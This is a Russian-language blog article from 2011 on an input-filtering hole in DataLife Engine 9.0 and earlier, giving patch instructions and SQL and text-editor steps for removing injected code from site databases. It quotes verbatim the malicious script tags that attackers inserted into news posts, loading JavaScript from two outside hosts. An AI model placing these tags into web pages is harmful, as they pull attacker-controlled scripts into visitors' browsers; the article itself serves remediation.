Подписывайтесь:


Технотрон » Web-разработки » Недостаточная фильтрация входящих данных в DLE 9.0 и более ранних версиях.

Материал составлен на основе данных сайтов http://dle.net.ua/ и http://dle-news.ru, за что им спасибо, так как это не только полезная информация, но и неоценимая помощь другим владельцам DLE-ресурсов.


Некоторое время назад сволочи и негодяи, по другому этих людей не назовешь, начали довольно активную атаку на сайты, построенные на основе DLE. Атака заключалась во внедрении "левого" кода в краткую и полную новость, точнее во все новости, находящиеся в БД сайта. Этот код работает только у тех, кто забыл (не захотел, не знал как) выключить register_globals в php.ini. Кстати стоит сказать, что хостинг тоже может это сделать. Поэтому если Вас еще не взломали или взломали, но от вируса Вы избавились, то срочно выставляйте register_globals off, делается это следующим образом:

 
В файле .htaccess добавляем:

php_flag register_globals off


или добавить в начало index.php

ini_set('register_globals', 'Off');

 

Далее правим дыру в самом движке:

 

Как это сделать описано по этой ссылке:

http://dle-news.ru/bags/v90/1127-nedostatochnaya-filtraciya-vhodyaschih-dannyh.html
Позволю себе для экономии времени и целостности руководства привести эти рекомендации:

 

 

Проблема: Недостаточная фильтрация входящих данных.
Ошибка в версии: 9.0 и все более ранние версии
Степень опасности: Высокая

Для исправления откройте файлы engine/modules/search.php и engine/modules/fullsearch.php и найдите:

    $count_result = 0;

ниже добавьте:
    $sql_count = "";

Откройте файл engine/inc/templates.php и найдите:
    $allow_save = false;

ниже добавьте:
    $_REQUEST['do_template'] = trim( totranslit($_REQUEST['do_template'], false, false) );
    $_REQUEST['do_language'] = trim( totranslit($_REQUEST['do_language'], false, false) );

Либо просто скачайте и скопируйте на свой сервер патч для версии 9.0: http://dle-news.ru/files/dle90_path.zip, изменения для более старых версий скрипта, вносятся вручную, как указано выше.

 

Теперь приведу руководство по лечению уже зараженного кода:

Источник: http://dle.net.ua/bagfixs/5817-ocherednaya-dyrka-na-dle.html

 

В новостях появляется следующий код:

<script src="http://zheenix.msk.ru/76403bc14134a2b49668b579a3b33ae6.js" type="text/javascript"></script><script src="http://zheenix.msk.ru/abc.js" type="text/javascript"></script><script src="http://ivan81.ucoz.ru/engine.js" type="text/javascript"></script>

Код может и отличаться, но суть сохраняется.

 

Пути устранения этого мусора из БД сайта:
- создать бэкап, скачать его, открыть его в блокноте или любом редакторе (стоит использовать Notepad 2 + +) и заменить, используя "Ctrl + H";
- зайти в Phpmyadmin и выполнить три запроса к БД

И там и там все просто, но нужно быть осторожным дабы не испортить саму БД.

 

Вариант с текстовым редактором. Автор: vladimir
1. Скачали, открыли в Notepad2


2. Нажали Ctrl+H
Вводим в первой строке

http://zheenix.msk.ru/[0-9A-z]+.js

вторую оставить пустой.
Нажимаем Replace All
 

 

3. Теперь у нас осталось в строке

<script src="" type="text/javascript"></script><script src="http://zheenix.msk.ru/abc.js" type="text/javascript"></script><script src="http://ivan81.ucoz.ru/engine.js" type="text/javascript"></script>

Теперь осталось тоже самое что и в п.2, но с другими буковками:
Ctrl+F
вводим Search String:
<script src="" type="text/javascript"></script><script src="http://zheenix.msk.ru/abc.js" type="text/javascript"></script><script src="http://ivan81.ucoz.ru/engine.js" type="text/javascript"></script>
поле Replace with оставьте пустым.
И дальше Replace All

Проверяйте. Теперь ваша БД должна быть пустой от мусора. Если ещё что осталось - чистить и ещё раз чистить по тому же принципу!

 


Вариант с phpmyadmin. Автор: igoryanzx1.

Цитата:

 

 

У меня в краткой и полной новости появилось по 3 скрипта
Код:

<script src="http://zheenix.msk.ru/76403bc14134a2b49668b579a3b33ae6.js" type="text/javascript"></script><script src="http://zheenix.msk.ru/abc.js" type="text/javascript"></script><script src="http://ivan81.ucoz.ru/engine.js" type="text/javascript"></script>

Делим их для удобства:
1.Код:
<script src="http://zheenix.msk.ru/76403bc14134a2b49668b579a3b33ae6.js" type="text/javascript"></script>

2.Код:
<script src="http://zheenix.msk.ru/abc.js" type="text/javascript"></script>

3.Код:
<script src="http://ivan81.ucoz.ru/engine.js" type="text/javascript"></script>

Первый удалить будет сложнее, так как код после слеша везде разный, поэтому начнем со 2-го и 3-го!
Идем в phpmyadmin, выбираем вкладку SQL, видим окошко и туда вписываем:

UPDATE dle_post
SET
short_story=REPLACE(short_story, '<script src="http://zheenix.msk.ru/abc.js" type="text/javascript"></script>', ''),
`full_story`=REPLACE(full_story, '<script src="http://zheenix.msk.ru/abc.js" type="text/javascript"></script>', '')
WHERE
`short_story` LIKE '%<script src="http://zheenix.msk.ru/abc.js" type="text/javascript"></script>%'
OR
`full_story` LIKE '%<script src="http://zheenix.msk.ru/abc.js" type="text/javascript"></script>%'

Нажимаем ОК, после чего пропадет из новостей скрипт №2!
Не закрывая SQL удаляем так же скрипт №3 тоесть выполняем Такой sql запрос:

UPDATE dle_post
SET
short_story=REPLACE(short_story, '<script src="http://ivan81.ucoz.ru/engine.js" type="text/javascript"></script>', ''),
`full_story`=REPLACE(full_story, '<script src="http://ivan81.ucoz.ru/engine.js" type="text/javascript"></script>', '')
WHERE
`short_story` LIKE '%<script src="http://ivan81.ucoz.ru/engine.js" type="text/javascript"></script>%'
OR
`full_story` LIKE '%<script src="http://ivan81.ucoz.ru/engine.js" type="text/javascript"></script>%'

Нажимаем ОК!
Скрипт №3 так же удален!

Теперь возьмемся за скрипт №1
В phpmyadmin выбираем вкладку "Экспорт" и нажимаем ОК, сохраняем на компьютер!
Открываем эту базу с помощью Microsoft Word, нажимаем "Правка" -> "Замена" и вписываем в поле найти: (zheenix)*(js) а в поле замена zheenix.ru, тут же нажимаем "Больше" и ставим галочку на "Подстановочные знаки" , нажимаем "Заменить все"!
Этим мы избавились от разного кода! Сохраняем изменения!
Идем в phpmyadmin ---> структура ----> и отмечаем все галочки ---> далее удаляем все!
Теперь идем во вкладку "Импорт" , нажимаем обзор и выбираем Нашу измененную БД, ставим вместо utf8 ---> cp1251 и нажиимаем ОК! База загружена!
Теперь бежим в вкладку SQL и выполняем такой запрос:

UPDATE dle_post
SET
short_story=REPLACE(short_story, '<script src="http://zheenix.ru" type="text/javascript"></script>', ''),
`full_story`=REPLACE(full_story, '<script src="http://zheenix.ru" type="text/javascript"></script>', '')
WHERE
`short_story` LIKE '%<script src="http://zheenix.ru" type="text/javascript"></script>%'
OR
`full_story` LIKE '%<script src="http://zheenix.ru" type="text/javascript"></script>%'

нажимаем ОК!

Вот собственно и все! Можно конечно и облегчить это все, но я написал как делал сам!
Заняло у меня это минут 10, все же быстей и проще чем руками это делать!
Теперь только надо думать о заплатках*

 

 

*заплатки оговорены в начале статьи.

 

 

На основе материалов сайтов http://dle.net.ua/ и http://dle-news.ru


вирус профилактика фильтр DLE
Версия для печати
Обсудить статью на форуме


 автор: Mordaunt    27.01.2011    Комментариев: 0

Информация
Посетители, находящиеся в группе Гости, не могут оставлять комментарии в данной новости.
smartbooks.org
Опрос
Как Вы попали на этот сайт?
Я постоянный посетитель
Из поисковой системы
С другого сайта
Из каталога
Кто-то посоветовал
Реклама
Status online
Сейчас на сайте: 32
Гостей: 29
Пользователи: 


Роботы: